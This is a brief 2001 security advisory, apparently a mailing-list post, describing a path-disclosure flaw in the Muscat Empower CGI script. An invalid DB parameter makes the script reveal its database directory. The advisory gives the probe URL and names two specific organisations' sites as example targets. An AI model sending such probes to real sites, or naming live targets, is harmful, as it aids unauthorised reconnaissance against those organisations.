Vulnerability in Muscat Empower wich can print path to DB-dir.

[UkR-XblP <cuctema () OK RU>]

-----------UkR security team advisory #6------------
Vulnerability in Muscat Empower wich can print path to
DB-dir.
--------------------------------------------------


Name: Vulnerability in Muscat Empower wich can print path to
DB-dir.
Date: 03.02.2001
Problem: when the request invalid send to database script
print path to it.
Author: UkR-XblP
Exploit: http://www.example.com/cgi-bin/empower?DB=UkRteamHole
Example:
http://www.nokia.com/cgi-bin/empower?DB=UkRteamHole
http://www.hmso.gov.uk/cgi-bin/empower?DB=UkRteamHole
Get your free e-mail address at http://www.zmail.ru